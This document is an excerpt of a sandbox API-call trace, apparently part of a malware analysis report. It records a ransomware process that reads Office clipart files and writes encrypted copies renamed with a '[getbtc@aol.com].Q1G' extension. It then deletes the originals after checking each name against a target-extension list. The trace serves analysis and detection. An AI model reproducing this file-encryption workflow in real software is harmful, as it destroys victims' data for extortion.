lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.924] lstrlenW (lpString=".zip") returned 4 [0263.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.924] lstrlenW (lpString=".rar") returned 4 [0263.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.924] lstrlenW (lpString=".bz2") returned 4 [0263.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.924] lstrlenW (lpString=".7z") returned 3 [0263.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.924] lstrlenW (lpString=".dbf") returned 4 [0263.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.924] lstrlenW (lpString=".1cd") returned 4 [0263.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned 63 [0263.924] lstrlenW (lpString=".jpg") returned 4 [0263.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.924] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.924] lstrlenW (lpString="J0174639.WMF") returned 12 [0263.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.925] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=5100) returned 1 [0263.925] CloseHandle (hObject=0x3e0) returned 1 [0263.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf")) returned 0x20 [0263.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.925] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.925] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.926] GetLastError () returned 0x0 [0263.926] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x13ec, lpOverlapped=0x0) returned 1 [0263.970] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x13f0, lpOverlapped=0x0) returned 1 [0263.971] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.971] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.971] SetEndOfFile (hFile=0x3a0) returned 1 [0263.971] CloseHandle (hObject=0x3a0) returned 1 [0263.972] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.972] SetEndOfFile (hFile=0x3e0) returned 1 [0263.974] CloseHandle (hObject=0x3e0) returned 1 [0263.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf")) returned 1 [0263.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.974] lstrlenW (lpString=".doc") returned 4 [0263.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.975] lstrlenW (lpString=".docx") returned 5 [0263.975] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0263.975] lstrlenW (lpString=".pdf") returned 4 [0263.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.975] lstrlenW (lpString=".xls") returned 4 [0263.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.975] lstrlenW (lpString=".xlsx") returned 5 [0263.975] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0263.975] lstrlenW (lpString=".ppt") returned 4 [0263.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.975] lstrlenW (lpString=".zip") returned 4 [0263.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.975] lstrlenW (lpString=".rar") returned 4 [0263.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.975] lstrlenW (lpString=".bz2") returned 4 [0263.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.975] lstrlenW (lpString=".7z") returned 3 [0263.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.975] lstrlenW (lpString=".dbf") returned 4 [0263.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.975] lstrlenW (lpString=".1cd") returned 4 [0263.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.975] lstrlenW (lpString=".jpg") returned 4 [0263.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.975] lstrlenW (lpString=".doc") returned 4 [0263.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.975] lstrlenW (lpString=".docx") returned 5 [0263.975] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0263.976] lstrlenW (lpString=".pdf") returned 4 [0263.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.976] lstrlenW (lpString=".xls") returned 4 [0263.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.976] lstrlenW (lpString=".xlsx") returned 5 [0263.976] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0263.976] lstrlenW (lpString=".ppt") returned 4 [0263.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.976] lstrlenW (lpString=".zip") returned 4 [0263.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.976] lstrlenW (lpString=".rar") returned 4 [0263.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.976] lstrlenW (lpString=".bz2") returned 4 [0263.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.976] lstrlenW (lpString=".7z") returned 3 [0263.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.976] lstrlenW (lpString=".dbf") returned 4 [0263.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.976] lstrlenW (lpString=".1cd") returned 4 [0263.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned 63 [0263.976] lstrlenW (lpString=".jpg") returned 4 [0263.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.976] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0263.976] lstrlenW (lpString="J0177257.JPG") returned 12 [0263.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0263.997] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=45358) returned 1 [0263.997] CloseHandle (hObject=0x390) returned 1 [0263.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg")) returned 0x20 [0264.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.001] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.001] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.002] GetLastError () returned 0x0 [0264.002] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xb12e, lpOverlapped=0x0) returned 1 [0264.005] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xb130, lpOverlapped=0x0) returned 1 [0264.006] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.006] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.006] SetEndOfFile (hFile=0x360) returned 1 [0264.006] CloseHandle (hObject=0x360) returned 1 [0264.006] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.006] SetEndOfFile (hFile=0x390) returned 1 [0264.009] CloseHandle (hObject=0x390) returned 1 [0264.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg")) returned 1 [0264.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.010] lstrlenW (lpString=".doc") returned 4 [0264.010] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.010] lstrlenW (lpString=".docx") returned 5 [0264.010] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0264.010] lstrlenW (lpString=".pdf") returned 4 [0264.010] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.010] lstrlenW (lpString=".xls") returned 4 [0264.010] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.010] lstrlenW (lpString=".xlsx") returned 5 [0264.010] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0264.010] lstrlenW (lpString=".ppt") returned 4 [0264.010] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.010] lstrlenW (lpString=".zip") returned 4 [0264.010] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.010] lstrlenW (lpString=".rar") returned 4 [0264.010] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.010] lstrlenW (lpString=".bz2") returned 4 [0264.010] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.010] lstrlenW (lpString=".7z") returned 3 [0264.010] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.010] lstrlenW (lpString=".dbf") returned 4 [0264.010] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.010] lstrlenW (lpString=".1cd") returned 4 [0264.010] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.011] lstrlenW (lpString=".jpg") returned 4 [0264.011] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.011] lstrlenW (lpString=".doc") returned 4 [0264.011] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.011] lstrlenW (lpString=".docx") returned 5 [0264.011] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0264.011] lstrlenW (lpString=".pdf") returned 4 [0264.011] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.011] lstrlenW (lpString=".xls") returned 4 [0264.011] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.011] lstrlenW (lpString=".xlsx") returned 5 [0264.011] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0264.011] lstrlenW (lpString=".ppt") returned 4 [0264.011] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.011] lstrlenW (lpString=".zip") returned 4 [0264.011] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.011] lstrlenW (lpString=".rar") returned 4 [0264.011] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.011] lstrlenW (lpString=".bz2") returned 4 [0264.011] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.011] lstrlenW (lpString=".7z") returned 3 [0264.011] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.011] lstrlenW (lpString=".dbf") returned 4 [0264.011] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.011] lstrlenW (lpString=".1cd") returned 4 [0264.011] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0264.011] lstrlenW (lpString=".jpg") returned 4 [0264.011] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.012] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0264.012] lstrlenW (lpString="J0178348.JPG") returned 12 [0264.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.012] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=36989) returned 1 [0264.012] CloseHandle (hObject=0x390) returned 1 [0264.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg")) returned 0x20 [0264.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.013] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.013] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0264.014] GetLastError () returned 0x0 [0264.014] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x907d, lpOverlapped=0x0) returned 1 [0264.016] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x9080, lpOverlapped=0x0) returned 1 [0264.017] ReadFile (in: hFile=0x390, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.017] WriteFile (in: hFile=0x360, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.018] SetEndOfFile (hFile=0x360) returned 1 [0264.018] CloseHandle (hObject=0x360) returned 1 [0264.018] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.018] SetEndOfFile (hFile=0x390) returned 1 [0264.404] CloseHandle (hObject=0x390) returned 1 [0264.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg")) returned 1 [0264.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.459] lstrlenW (lpString=".doc") returned 4 [0264.459] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.459] lstrlenW (lpString=".docx") returned 5 [0264.459] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0264.459] lstrlenW (lpString=".pdf") returned 4 [0264.460] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.460] lstrlenW (lpString=".xls") returned 4 [0264.460] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.460] lstrlenW (lpString=".xlsx") returned 5 [0264.460] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0264.460] lstrlenW (lpString=".ppt") returned 4 [0264.460] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.460] lstrlenW (lpString=".zip") returned 4 [0264.460] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.460] lstrlenW (lpString=".rar") returned 4 [0264.460] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.460] lstrlenW (lpString=".bz2") returned 4 [0264.460] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.460] lstrlenW (lpString=".7z") returned 3 [0264.460] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.460] lstrlenW (lpString=".dbf") returned 4 [0264.460] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.460] lstrlenW (lpString=".1cd") returned 4 [0264.460] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.460] lstrlenW (lpString=".jpg") returned 4 [0264.460] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.460] lstrlenW (lpString=".doc") returned 4 [0264.460] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.460] lstrlenW (lpString=".docx") returned 5 [0264.460] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0264.460] lstrlenW (lpString=".pdf") returned 4 [0264.460] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.460] lstrlenW (lpString=".xls") returned 4 [0264.460] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.460] lstrlenW (lpString=".xlsx") returned 5 [0264.461] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0264.461] lstrlenW (lpString=".ppt") returned 4 [0264.461] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.461] lstrlenW (lpString=".zip") returned 4 [0264.461] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.461] lstrlenW (lpString=".rar") returned 4 [0264.461] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.461] lstrlenW (lpString=".bz2") returned 4 [0264.461] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.461] lstrlenW (lpString=".7z") returned 3 [0264.461] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG") returned 63 [0264.461] lstrlenW (lpString=".dbf") returned 4 [0264.461] lstrcmpiW 